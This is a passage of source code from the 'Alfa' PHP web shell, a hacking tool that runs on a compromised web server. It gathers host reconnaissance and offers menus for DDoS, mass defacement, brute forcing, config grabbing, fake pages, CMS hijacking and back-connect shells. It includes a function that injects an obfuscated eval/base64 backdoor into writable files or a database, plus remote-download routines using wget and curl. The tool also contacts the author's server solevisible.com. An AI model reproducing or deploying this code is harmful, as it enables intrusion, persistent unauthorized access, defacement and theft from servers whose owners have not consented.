alfaloader(alfa_before_do_action_id,\"block\"),_Ajax(d.URL,\"a=\"+alfab64(\"settings\")+\"&alfa1=\"+alfab64(e.protect.value)+\"&alfa2=\"+alfab64(e.lgpage.value)+\"&alfa3=\"+alfab64(e.username.value)+\"&alfa4=\"+alfab64(e.password.value)+\"&alfa5=\"+alfab64(\">>\")+\"&alfa6=\"+alfab64(e.icon.value)+\"&alfa7=\"+alfab64(e.post_encrypt.value)+\"&alfa8=\"+alfab64(\"main\")+\"&alfa9=\"+alfab64(e.cgi_api.value)+\"&c=\"+alfab64(c_)+\"&ajax=\"+alfab64(\"true\"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,\"none\")},!1,alfa_before_do_action_id),alfa_before_do_action_id=\"\",0==e.e.value&&1==e.protect.value&&setTimeout(\"location.reload()\",1e3),e.s.value!=e.icon.value&&setTimeout(\"location.reload()\",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(\".colors_input\").forEach(function(e){var t=e.getAttribute(\"target\").replace(\".\",\"\");a[t]=e.value}):a=e;var t=$(\"use_default_color\").checked?\"1\":\"0\";_Ajax(d.URL,\"a=\"+alfab64(\"settings\")+\"&alfa1=\"+alfab64(JSON.stringify(a))+\"&alfa2=\"+alfab64(\">>\")+\"&alfa3=\"+alfab64(t)+\"&alfa8=\"+alfab64(\"color\")+\"&c=\"+alfab64(c_)+\"&ajax=\"+alfab64(\"true\"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,\"<?php echo __ALFA_SECRET_KEY__; ?>\")}function evalCss(e){var a=document.createElement(\"style\");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName(\"head\")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute(\"target\"),t=e.getAttribute(\"multi\"),l=a.indexOf(\":hover\");if(t){var o=JSON.parse(atob(t)),r=\"\";for(i in o.multi_selector)r+=i+\"{\"+o.multi_selector[i].replace(\/{color}\/g,e.value)+\"}\";evalCss(r)}-1==l||t?($(\"input_\"+a.replace(\".\",\"\")).value=e.value,$(\"gui_\"+a.replace(\".\",\"\")).value=e.value,\".header_values\"==a&&(a=\".header,.header_values\"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($(\"input_\"+a.replace(\".\",\"\")).value=e.value,$(\"gui_\"+a.replace(\".\",\"\")).value=e.value,evalCss(a+\"{color: \"+e.value+\";}\"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert(\"Config is invalid...!\")}$(\"importFileBtn\").value=\"\"},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll(\"#filesman_holder_\"+a+\" form[name=files] input[type=checkbox]\").forEach(function(e){e.checked=t})}function runcgi(e){if($(\"cgiframe\").style.height=\"unset\",d.querySelector(\"#cgiloader-minimized .minimized-text\").innerHTML=\"Cgi Shell\",d.querySelector(\"#cgiloader .opt-title\").innerHTML=\"Cgi Shell\",cgi_is_minimized&&cgi_lang==e&&(showEditor(\"cgiloader\"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,\"a=\"+alfab64(\"cgishell\")+\"&alfa1=\"+alfab64(e)+\"&ajax=\"+alfab64(\"true\"),function(a){d.body.style.overflow=\"hidden\",$(\"cgiloader\").style.display=\"block\",d.querySelector(\"#cgiframe .terminal-tabs\").innerHTML=\"\",d.querySelector(\"#cgiframe .terminal-contents\").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($(\"cgiloader-minimized\").setAttribute(\"class\",\"minimized-hide\"),setTimeout(function(){$(\"cgiloader\").removeAttribute(\"class\"),is_minimized&&($(\"editor-minimized\").style.top=\"30%\")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};\r\n<\/script>\r\n<?php echo\"<form style='display:none;' id='dlForm' action='' target='_blank' method='post'>\r\n<input type='hidden' name='a' value='dlfile'>\r\n<input type='hidden' name='c' value=''>\r\n<input type='hidden' name='file' value=''>\r\n<\/form>\r\n<input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'>\r\n<div id='a_loader'><img src='\".__showicon('loader').\"'><\/div>\";\r\n$cmd_uname = alfaEx(\"uname -a\",false,false);\r\n$uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:'( php_uname ) Function Disabled !');\r\nif($uname==\"( php_uname ) Function Disabled !\"){$GLOBALS[\"need_to_update_header\"]=\"true\";}\r\necho '\r\n<\/head>\r\n<body bgcolor=\"#000000\" leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\r\n<div id=\"up_bar_holder\"><\/div>\r\n<div class=\"whole\">\r\n<form method=\"post\" name=\"mf\" style=\"display:none;\">\r\n<input type=\"hidden\" name=\"a\">\r\n<input type=\"hidden\" name=\"c\" value=\"'.$GLOBALS['cwd'].'\">';\r\nfor($s=1;$s<=10;$s++){\r\necho '<input type=\"hidden\" name=\"alfa'.$s.'\">';\r\n}\r\necho '<input type=\"hidden\" name=\"charset\">\r\n<\/form>\r\n<div id=\\'hidden_sh\\'><a class=\"alert_green\" target=\"_blank\" href=\"?solevisible\"><span style=\"color:#42ff59;\">'.__ALFA_CODE_NAME__.'<\/span><br><small>Version: <span class=\"hidden_shell_version\">'.__ALFA_VERSION__.'<\/span><\/small><\/a><\/div>\r\n<div class=\"header\"><table width=\"100%\" border=\"0\">\r\n<tr>\r\n<td width=\"3%\"><span class=\"header_vars\">Uname:<\/span><\/td>\r\n<td colspan=\"2\"><span class=\"header_values\" id=\"header_uname\">'.$uname.'<\/span><\/td>\r\n<\/tr>\r\n<tr>\r\n<td><span class=\"header_vars\">User:<\/span><\/td>\r\n<td><span class=\"header_values\" id=\"header_userid\">'. $uid . ' [ ' . $user . ' ] <\/span><span class=\"header_vars\"> Group: <\/span><span class=\"header_values\" id=\"header_groupid\">' . $gid . ' [ ' . $group . ' ]<\/span> <\/td>\r\n<td width=\"12%\" rowspan=\"8\"><img style=\"border-radius:100px;\" width=\"300\" height=\"170\" alt=\"alfa team 2012\" draggable=\"false\" src=\"http:\/\/solevisible.com\/images\/alfa-iran.png\" \/><\/td>\r\n<\/tr>\r\n<tr>\r\n<td><span class=\"header_vars\">PHP:<\/span><\/td>\r\n<td><b>'.@phpversion(). ' <\/b><span class=\"header_vars\"> Safe Mode: '.$safe_modes.'<\/span><\/td>\r\n<\/tr>\r\n<tr>\r\n<td><span class=\"header_vars\">ServerIP:<\/span><\/td>\r\n<td><b>'.(!@$_SERVER[\"SERVER_ADDR\"]?(function_exists(\"gethostbyname\")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER[\"SERVER_ADDR\"]).'<\/b><div style=\"display:inline;display:none;\" class=\"flag-holder\"><\/div> <span class=\"header_vars\">Your IP:<\/span><b> '.@$_SERVER[\"REMOTE_ADDR\"].'<\/b><div style=\"display:inline;display:none;\" class=\"flag-holder\"><\/div><\/td>\r\n<\/tr>\r\n<tr>\r\n<td width=\"3%\"><span class=\"header_vars\">DateTime:<\/span><\/td>\r\n<td colspan=\"2\"><b>'.date('Y-m-d H:i:s').'<\/b><\/td>\r\n<\/tr>\r\n<tr>\r\n<td><span class=\"header_vars\">Domains:<\/span><\/td>\r\n<td width=\"76%\"><span class=\"header_values\" id=\"header_domains\">';\r\nif($GLOBALS['sys']=='unix'){\r\n$d0mains = _alfa_file(\"\/etc\/named.conf\",false);\r\nif(!$d0mains){echo \"Cant Read [ \/etc\/named.conf ]\";$GLOBALS[\"need_to_update_header\"]=\"true\";}else{\r\n$count=0;\r\nforeach($d0mains as $d0main){\r\nif(@strstr($d0main,\"zone\")){\r\npreg_match_all('#zone \"(.*)\"#', $d0main, $domains);\r\nflush();\r\nif(strlen(trim($domains[1][0])) > 2){\r\nflush();\r\n$count++;}}}\r\necho \"$count Domains\";}}\r\nelse{echo(\"Cant Read [ \/etc\/named.conf ]\");}\r\necho '<\/span><\/td>\r\n<\/tr>\r\n<tr>\r\n<td height=\"16\"><span class=\"header_vars\">HDD:<\/span><\/td>\r\n<td><span class=\"header_vars\">Total:<\/span><b>'.alfaSize($totalSpace).' <\/b><span class=\"header_vars\">Free:<\/span><b>' . alfaSize($freeSpace) . ' ['. (int) ($freeSpace\/$totalSpace*100) . '%]<\/b><\/td>\r\n<\/tr>';\r\nif($GLOBALS['sys']=='unix'){\r\n$useful_downloader = '<tr><td height=\"18\" colspan=\"2\"><span class=\"header_vars\">useful:<\/span><span class=\"header_values\" id=\"header_useful\">--------------<\/span><\/td><\/tr><td height=\"0\" colspan=\"2\"><span class=\"header_vars\">Downloader: <\/span><span class=\"header_values\" id=\"header_downloader\">--------------<\/span><\/td><\/tr>';\r\nif(!@ini_get('safe_mode')){\r\nif(strlen(alfaEx(\"id\",false,false))>0){\r\necho '<tr><td height=\"18\" colspan=\"2\"><span class=\"header_vars\">Useful : <\/span>';\r\n$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl');\r\n$x=0;\r\nforeach($userful as $item)if(alfaWhich($item)){$x++;echo '<span class=\"header_values\" style=\"margin-left: 4px;\">'.$item.'<\/span>';}\r\nif($x==0){echo \"<span class='header_values' id='header_useful'>--------------<\/span>\";$GLOBALS[\"need_to_update_header\"] = \"true\";}\r\necho '<\/td>\r\n<\/tr>\r\n<tr>\r\n<td height=\"0\" colspan=\"2\"><span class=\"header_vars\">Downloader: <\/span>';\r\n$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');\r\n$x=0;\r\nforeach($downloaders as $item2)if(alfaWhich($item2)){$x++;echo '<span class=\"header_values\" style=\"margin-left: 4px;\">'.$item2.'<\/span>';}\r\nif($x==0){echo \"<span class='header_values' id='header_downloader'>--------------<\/span>\";$GLOBALS[\"need_to_update_header\"] = \"true\";}\r\necho '<\/td>\r\n<\/tr>';\r\n}else{\r\necho $useful_downloader;$GLOBALS[\"need_to_update_header\"] = \"true\";\r\n}\r\n}else{\r\necho $useful_downloader;$GLOBALS[\"need_to_update_header\"] = \"true\";\r\n}\r\n}else{\r\necho '<tr><td height=\"18\" colspan=\"2\"><span class=\"header_vars\">Windows:<\/span><b>';\r\necho alfaEx('ver',false,false);\r\necho '<\/td>\r\n<\/tr> <tr>\r\n<td height=\"0\" colspan=\"2\"><span class=\"header_vars\">Downloader: <\/span><b>-------------<\/b><\/td>\r\n<\/tr><\/b>';\r\n}\r\n$quotes = (function_exists('get_magic_quotes_gpc')?get_magic_quotes_gpc():'0');if ($quotes == \"1\" or $quotes == \"on\"){$magic = '<b><span class=\"header_on\">ON<\/span>';}else{$magic = '<span class=\"header_off\">OFF<\/span>';}\r\necho '<tr>\r\n<td height=\"16\" colspan=\"2\"><span class=\"header_vars\">Disable Functions: <\/span><b>'.Alfa_GetDisable_Function().'<\/b><\/td>\r\n<\/tr>\r\n<tr>\r\n<td height=\"16\" colspan=\"2\"><span class=\"header_vars\">CURL :<\/span>'.$curl.' | <span class=\"header_vars\">SSH2 : <\/span>'.$ssh2.' | <span class=\"header_vars\">Magic Quotes : <\/span>'.$magic.' | <span class=\"header_vars\"> MySQL :<\/span>'.$mysql.' | <span class=\"header_vars\">MSSQL :<\/span>'.$mssql.' | <span class=\"header_vars\"> PostgreSQL :<\/span>'.$pg.' | <span class=\"header_vars\"> Oracle :<\/span>'.$or.' '.($GLOBALS['sys']==\"unix\"?'| <span class=\"header_vars\"> CGI :<\/span> '.$cgi_shell:\"\").'<\/td><td width=\"15%\"><div id=\"alfa_solevisible\"><center><a href=\"https:\/\/t.me\/solevisible\" target=\"_blank\"><span><font class=\"solevisible-text\" color=\"#0F0\">Sole Sad & Invisible<\/font><\/span><\/a><\/center><\/div><\/td>\r\n<\/tr>\r\n<tr>\r\n<td height=\"11\" colspan=\"3\"><span class=\"header_vars\">Open_basedir :<\/span><b>'.$open_b.'<\/b> | <span class=\"header_vars\">Safe_mode_exec_dir :<\/span><b>'.$safe_exe.'<\/b> | <span class=\"header_vars\"> Safe_mode_include_dir :<\/span><\/b>'.$safe_include.'<\/b><\/td>\r\n<\/tr>\r\n<tr>\r\n<td height=\"11\"><span class=\"header_vars\">SoftWare: <\/span><\/td>\r\n<td colspan=\"2\"><b>'.@getenv('SERVER_SOFTWARE').'<\/b><\/td>\r\n<\/tr>';\r\nif($GLOBALS['sys']==\"win\"){\r\necho '<tr>\r\n<td height=\"12\"><span class=\"header_vars\">DRIVE:<\/span><\/td>\r\n<td colspan=\"2\"><b>'.$drives.'<\/b><\/td>\r\n<\/tr>';\r\n}\r\necho '<tr>\r\n<td height=\"12\"><span class=\"header_vars\">PWD:<\/span><\/td>\r\n<td colspan=\"2\"><span id=\"header_cwd\">'.$cwd_links.' <\/span><a href=\"#action=fileman&path='.$GLOBALS['home_cwd'].'\" onclick=\"g(\\'FilesMan\\',\\'' . $GLOBALS['home_cwd'] . '\\',\\'\\',\\'\\',\\'\\')\"><span class=\"home_shell\">[ Home Shell ]<\/span> <\/a><\/td>\r\n<\/tr>\r\n<\/table>\r\n<\/div>\r\n<div id=\"meunlist\">\r\n<ul>\r\n';\r\n$li = array('proc'=>'Process','phpeval'=>'Eval','sql'=>'SQL Manager','dumper'=>'Database Dumper','coldumper'=>'Column Dumper','hash'=>'En-Decoder','connect'=>'BC',\r\n'zoneh'=>'ZONE-H','dos'=>'DDOS','safe'=>'ByPasser','cgishell'=>'Cgi Shell','ssiShell'=>'SSI SHELL','cpcrack'=>'Hash Tools',\r\n'portscanner'=>'Port Scaner','basedir'=>'Open BaseDir','mail'=>'Fake Mail','ziper'=>'Compressor','deziper'=>'DeCompressor','IndexChanger'=>'Index Changer','pwchanger'=>'Add New Admin','ShellInjectors'=>'Shell Injectors',\r\n'php2xml'=>'PHP2XML','cloudflare'=>'CloudFlare','Whmcs'=>'Whmcs DeCoder','symlink'=>'Symlink','MassDefacer'=>'Mass Defacer','Crackers'=>'BruteForcer','searcher'=>'Searcher','config_grabber'=>'Config Grabber','fakepage'=>'Fake Page','archive_manager'=>'Archive Manager',\r\n'cmshijacker'=>'CMS Hijacker','remotedl'=>'Remote Upload','inbackdoor'=>'Install BackDoor','whois'=>'Whois','selfrm'=>'Remove Shell'\r\n);\r\nforeach($li as $key=>$value){\r\necho('<li><a id=\"menu_opt_'.$key.'\" href=\"#action=options&path='.$GLOBALS['cwd'].'&opt='.$key.'\" class=\"menu_options\" onclick=\"alfa_can_add_opt=true;this.href=\\'#action=options&path=\\'+c_+\\'&opt='.$key.'\\';g(\\''.$key.'\\',null,\\'\\',\\'\\',\\'\\');d.querySelector(\\'.opt-title\\').innerHTML=this.innerHTML;\">'.$value.'<\/a><\/li>'.\"\\n\");\r\n}\r\necho '<\/ul><div style=\"text-align: center;padding: 6px;\"><a id=\"menu_opt_settings\" href=\"#action=options&path='.$GLOBALS['cwd'].'&opt=settings\" class=\"menu_options\" onclick=\"alfa_can_add_opt=true;this.href=\\'#action=options&path=\\'+c_+\\'&opt=settings\\';g(\\'settings\\',null,\\'\\',\\'\\',\\'\\');d.querySelector(\\'.opt-title\\').innerHTML=this.innerHTML;\">Alfa Settings<\/a><a style=\"display:none;\" id=\"menu_opt_market\" href=\"#action=options&path='.$GLOBALS['cwd'].'&opt=market\" class=\"menu_options\" onclick=\"alfa_can_add_opt=true;this.href=\\'#action=options&path=\\'+c_+\\'&opt=market\\';g(\\'market\\',null,\\'\\',\\'\\',\\'\\');d.querySelector(\\'.opt-title\\').innerHTML=this.innerHTML;\"><span class=\"alfa_plus\">Alfa market<\/span><\/a><a id=\"menu_opt_aboutus\" href=\"#action=options&path='.$GLOBALS['cwd'].'&opt=aboutus\" class=\"menu_options\" onclick=\"alfa_can_add_opt=true;this.href=\\'#action=options&path=\\'+c_+\\'&opt=aboutus\\';g(\\'aboutus\\',null,\\'\\',\\'\\',\\'\\');d.querySelector(\\'.opt-title\\').innerHTML=this.innerHTML;\">About Us<\/a>'.(!empty($_COOKIE['AlfaUser']) && !empty($_COOKIE['AlfaPass']) ? '<a href=\"javascript:void(0);\" onclick=\"alfaLogOut();\"><font color=\"red\">LogOut<\/font><\/a>':'').'<\/div><\/div><div id=\"filesman_tabs\"><div onmouseover=\"alfaFilesmanTabShowTitle(this,event);\" onmouseout=\"alfaFilesmanTabHideTitle(this,event);\" fm_counter=\"1\" path=\"'.$GLOBALS['cwd'].'\" fm_id=\"1\" id=\"filesman_tab_1\" class=\"filesman_tab filesman-tab-active\" onclick=\"filesmanTabController(this);\"><img class=\"folder-tab-icon\" src=\"http:\/\/solevisible.com\/icons\/menu\/folder2.svg\"> <span>File manager<\/span><\/div><div style=\"display:inline-block;\" id=\"filesman_tabs_child\"><\/div><div id=\"filesman_new_tab\" class=\"filesman_tab\" style=\"background: maroon;\" onClick=\"alfaFilesManNewTab(c_,\\'\/\\',1);\">New Tab +<\/div><\/div>';}else{\r\n@error_reporting(E_ALL ^ E_NOTICE);\r\n@ini_set('error_log',NULL);\r\n@ini_set('log_errors',0);\r\n@ini_set('max_execution_time',0);\r\n@ini_set('magic_quotes_runtime', 0);\r\n@set_time_limit(0);\r\n}}\r\nfunction alfalogout(){\r\n@setcookie(\"AlfaUser\", null, 2012);\r\n@setcookie(\"AlfaPass\", null, 2012);\r\nunset($_COOKIE['AlfaUser'],$_COOKIE['AlfaPass']);\r\necho(\"ok\");\r\n}\r\nfunction showAnimation($name){\r\n\treturn '-webkit-animation: '.$name.' 800ms ease-in-out forwards;-moz-animation: '.$name.' 800ms ease-in-out forwards;-ms-animation: '.$name.' 800ms ease-in-out forwards;animation: '.$name.' 800ms ease-in-out forwards;';\r\n}\r\nfunction __showicon($r){\r\n\t$s['btn']='http:\/\/solevisible.com\/images\/btn.png';\r\n\t$s['alfamini']='http:\/\/solevisible.com\/images\/alfamini.png';\r\n\t$s['loader']='http:\/\/solevisible.com\/images\/loader.svg';\r\n\t\/\/return 'data:image\/png;base64,'.__get_resource($s[$r]);\r\n\treturn $s[$r];\r\n}\r\nfunction alfainbackdoor(){\r\nalfahead();\r\necho '<div class=header><center><p><div class=\"txtfont_header\">| Install BackDoor |<\/div><\/p><h3><a href=javascript:void(0) onclick=\"g(\\'inbackdoor\\',null,\\'file\\')\">| In File | <\/a><a href=javascript:void(0) onclick=\"g(\\'inbackdoor\\',null,\\'db\\')\">| In DataBase | <\/a><\/h3><\/center>';\r\n$error = '<font color=\"red\">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!<\/font>';\r\n$success= '<font color=\"green\">Success...!';\r\n$textarea = \"<div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:<\/div><p><textarea name='shell' rows='19' cols='103'><?php\\n\\techo('Alfa Team is Here...!');\\n?><\/textarea><\/p><\/div>\";\r\n$select = \"<div class='txtfont'>Use:<\/div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader<\/option><option value='my'>My Private Shell<\/option><\/select>\";\r\n$cwd = 'Example: \/home\/alfa\/public_html\/index.php';\r\nif($_POST['alfa1']=='file'){\r\necho(\"<center><p><div class='txtfont_header'>| In File |<\/div><\/p><p><form onsubmit=\\\"g('inbackdoor',null,'file',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\\\">{$select} <div class='txtfont'>Backdoor Loader:<\/div> <input type='text' name='file' size='50' placeholder='{$cwd}'> <div class='txtfont'>Key: <\/div> <input type='text' name='key' size='10' value='alfa'> <input type='submit' value=' '>{$textarea}<\/form><\/p><\/center>\");\r\nif($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa4']!=''){\r\n$method = $_POST['alfa2'];\r\n$file = $_POST['alfa3'];\r\n$shell = $_POST['alfa4'];\r\n$key = str_replace(array('\"','\\''),'',trim($_POST['alfa5']));\r\nif($key=='')$key='alfa';\r\nif($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];}\r\n$code = '<?php if(isset($_GET[\"alfa\"])&&$_GET[\"alfa\"]==\"'.$key.'\"){$func=\"cr\".\"ea\".\"te_\".\"fun\".\"ction\";$x=$func(\"\\$c\",\"e\".\"v\".\"al\".\"(\\'?>\\'.base\".\"64\".\"_dec\".\"ode(\\$c));\");$x(\"'.$shell.'\");exit;}?>';\r\nif(@is_file($file)&&@is_writable($file)){@file_put_contents($file,$code.\"\\n\".@file_get_contents($file));__alert($success.\"<br>Run With: \".basename($file).\"?alfa=\".$key.'<\/font>');}else{__alert($error);}}}\r\nif($_POST['alfa1']=='db'){\r\necho(\"<center><p><div class='txtfont_header'>| In DataBase |<\/div><\/p>\".getConfigHtml('all').\"<p><form onsubmit=\\\"g('inbackdoor',null,'db',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\\\">\");\r\n$table = array('td1' =>\r\narray('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n'td2' =>\r\narray('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),\r\n'td3' =>\r\narray('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),\r\n'td4' =>\r\narray('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),\r\n'td5' =>\r\narray('color' => 'FFFFFF', 'tdName' => 'Backdoor Loader: ', 'inputName' => 'file', 'inputValue' => $cwd, 'inputSize' => '50', 'placeholder' => true),\r\n'td6' =>\r\narray('color' => 'FFFFFF', 'tdName' => 'Key: ', 'inputName' => 'key', 'inputValue' => 'alfa', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho(\"<p>{$select}<\/p>\");\r\necho($textarea);\r\necho(\"<p><input type='submit' value=' '><\/p><\/form><\/p><\/center>\");\r\nif($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa5']!=''&&$_POST['alfa6']!=''){\r\n$dbhost = $_POST['alfa2'];\r\n$dbuser = $_POST['alfa3'];\r\n$dbpw = $_POST['alfa4'];\r\n$dbname = $_POST['alfa5'];\r\n$file = $_POST['alfa6'];\r\n$method = $_POST['alfa7'];\r\n$shell = $_POST['alfa8'];\r\n$key = str_replace(array('\"','\\''),'',trim($_POST['alfa9']));\r\nif($key=='')$key='alfa';\r\nif($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];}\r\nif($conn = mysqli_connect($dbhost,$dbuser,$dbpw,$dbname)){\r\n$code = '<?php if(isset($_GET[\"alfa\"])&&$_GET[\"alfa\"]==\"'.$key.'\"){$conn=mysqli_connect(\"'.str_replace('\"','\\\"',$dbhost).'\",\"'.str_replace('\"','\\\"',$dbuser).'\",\"'.str_replace('\"','\\\"',$dbpw).'\",\"'.str_replace('\"','\\\"',$dbname).'\");$q=mysqli_query($conn,\"SELECT `code` FROM alfa_bc LIMIT 0,1\");$r=mysqli_fetch_assoc($q);$func=\"cr\".\"ea\".\"te_\".\"fun\".\"ction\";$x=$func(\"\\$c\",\"e\".\"v\".\"al\".\"(\\'?>\\'.base\".\"64\".\"_dec\".\"ode(\\$c));\");$x($r[\"code\"]);exit;}?>';\r\nif(@is_file($file)&&@is_writable($file)){\r\n@mysqli_query($conn,'DROP TABLE `alfa_bc`');\r\n@mysqli_query($conn,'CREATE TABLE `alfa_bc` (code LONGTEXT)');\r\n@mysqli_query($conn,'INSERT INTO `alfa_bc` VALUES(\"'.$shell.'\")');\r\n@file_put_contents($file,$code.\"\\n\".@file_get_contents($file));\r\n__alert($success.\"<br>Run With: \".basename($file).\"?alfa=\".$key.'<\/font>');}else{__alert($error);}}}}\r\necho('<\/div>');\r\nalfafooter();\r\n}\r\nfunction alfawhois(){\r\necho(\"<div class='header'><center><p><div class='txtfont_header'>| Whois |<\/div><\/p><p><form onsubmit=\\\"g('whois',null,this.url.value,'>>');return false;\\\"><div class='txtfont'>Url: <\/div> <input type='text' name='url' style='text-align:center;' size='50' placeholder='google.com'> <input type='submit' value=' '><\/form><\/p><\/center>\");\r\nif($_POST['alfa2']=='>>'&&!empty($_POST['alfa1'])){\r\n$site = str_replace(array('http:\/\/','https:\/\/','www.','ftp:\/\/'),'',$_POST['alfa1']);\r\n$target = 'http:\/\/api.whoapi.com\/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain='.$site;\r\n$data = @file_get_contents($target);\r\nif($data==''){$get = new AlfaCURL();$get->ssl = true;$data = $get->Send($target);}\r\n$target = @json_decode($data,true);\r\necho __pre();\r\nif(is_array($target)){echo($target[\"whois_raw\"]);}else{echo alfaEx(\"whois \".$site);}}\r\necho(\"<\/div>\");\r\n}\r\nfunction alfaremotedl(){\r\nalfahead();\r\necho(\"<div class='header'><center><p><div class='txtfont_header'>| Upload From Url |<\/div><\/p><p>\r\n<form onsubmit=\\\"g('remotedl',null,this.d.value,this.p.value,'>>');return false;\\\">\r\n<p><div class='txtfont'>Url: <\/div> <input type='text' name='d' size='50'><\/p>\r\n<div class='txtfont'>Path:<\/div> <input type='text' name='p' size='50' value='\".$GLOBALS['cwd'].\"'><p><input type='submit' value=' '><\/p>\r\n<\/form><\/p><\/center>\");\r\nif(isset($_POST['alfa1'],$_POST['alfa2'],$_POST['alfa3'])&&!empty($_POST['alfa1'])&&$_POST['alfa3']=='>>'){\r\necho __pre();\r\n$url = $_POST['alfa1'];\r\n$path = $_POST['alfa2'];\r\necho('<center>');\r\nif(__download($url,$path)){\r\necho('<font color=\"green\">Success...!<\/font>');\r\n}else{\r\necho('<font color=\"red\">Error...!<\/font>');\r\n}\r\necho('<\/center>');\r\n}\r\necho(\"<\/div>\");\r\nalfafooter();\r\n}\r\nfunction __download($url,$path=false){\r\nif(!preg_match(\"\/[a-z]+:\\\/\\\/.+\/\",$url)) return false;\r\n$saveas = basename(rawurldecode($url));\r\nif($path){$saveas=$path.$saveas;}\r\nif($content = __read_file($url)){\r\nif(@is_file($saveas))@unlink($saveas);\r\nif(__write_file($saveas, $content)){return true;}}\r\n$buff = alfaEx(\"wget \".$url.\" -O \".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx(\"curl \".$url.\" -o \".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx(\"lwp-download \".$url.\" \".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx(\"lynx -source \".$url.\" > \".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx(\"GET \".$url.\" > \".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx(\"links -source \".$url.\" > \".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx(\"fetch -o \".$saveas.\" -p \".$url);\r\nif(@is_file($saveas)) return true;\r\nreturn false;\r\n}\r\nfunction clean_string($string){\r\n if(function_exists(\"iconv\")){\r\n\t $s = trim($string);\r\n\t $s = iconv(\"UTF-8\", \"UTF-8\/\/IGNORE\", $s);\r\n }\r\n return $s;\r\n}\r\nfunction __read_file($file, $boom = true){\r\n$content = false;\r\nif($fh = @fopen($file, \"rb\")){\r\n$content = \"\";\r\nwhile(!feof($fh)){\r\n$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);\r\n}\r\n@fclose($fh);\r\n}\r\nif(empty($content)||!$content){\r\n\t$content = alfaEx(\"cat '\".addslashes($file).\"'\");\r\n}\r\nreturn $content;\r\n}\r\nfunction alfaMarket(){\r\necho \"<div class='header'>\";\r\n$curl = new AlfaCURL();\r\n$content = $curl->Send(\"http:\/\/solevisible.com\/market.php\");\r\n$data = @json_decode($content, true);\r\nif(!empty($data)){\r\nif($data[\"status\"] == \"open\"){\r\n\techo $data[\"content\"];\r\n}else{\r\n\techo $data[\"error_msg\"];\r\n}\r\n}else{\r\n\techo \"<div style='text-align:center;font-size:20px;'>Cant connect to the alfa market....! try later.<\/div>\";\r\n}\r\necho \"<\/div>\";\r\n}\r\nfunction alfaSettings(){\r\nalfahead();\r\nAlfaNum(6,7,8,9,10);\r\necho '<div class=header><center><p><div class=\"txtfont_header\">| Settings |<\/div><\/p><h3><a href=javascript:void(0) onclick=\"g(\\'settings\\',null,null,null,null,null,null,null,null,\\'main\\')\">| Generall Setting | <\/a><\/h3><\/center>';\r\nif($_POST[\"alfa8\"] == \"main\"){\r\necho '<p><center><div class=\"txtfont_header\">| Settings |<\/div><\/p><form onSubmit=\"reloadSetting(this);return false;\" method=\\'post\\'>';\r\n$lg_array = array('0'=>'No','1'=>'Yes');\r\n$penc_array = array('false'=>'No','true'=>'Yes');\r\n$protect_html = \"\";\r\n$icon_html = \"\";\r\n$postEnc_html = \"\";\r\n$login_html = \"\";\r\n$cgiapi_html = \"\";\r\nforeach($lg_array as $key=>$val)$protect_html .= '<option value=\"'.$key.'\" '.($GLOBALS['DB_NAME']['safemode']=='1'?'selected':'').'>'.$val.'<\/option>';\r\nforeach($lg_array as $key=>$val)$icon_html .= '<option value=\"'.$key.'\" '.($GLOBALS['DB_NAME']['show_icons']=='1'?'selected':'').'>'.$val.'<\/option>';\r\nforeach($penc_array as 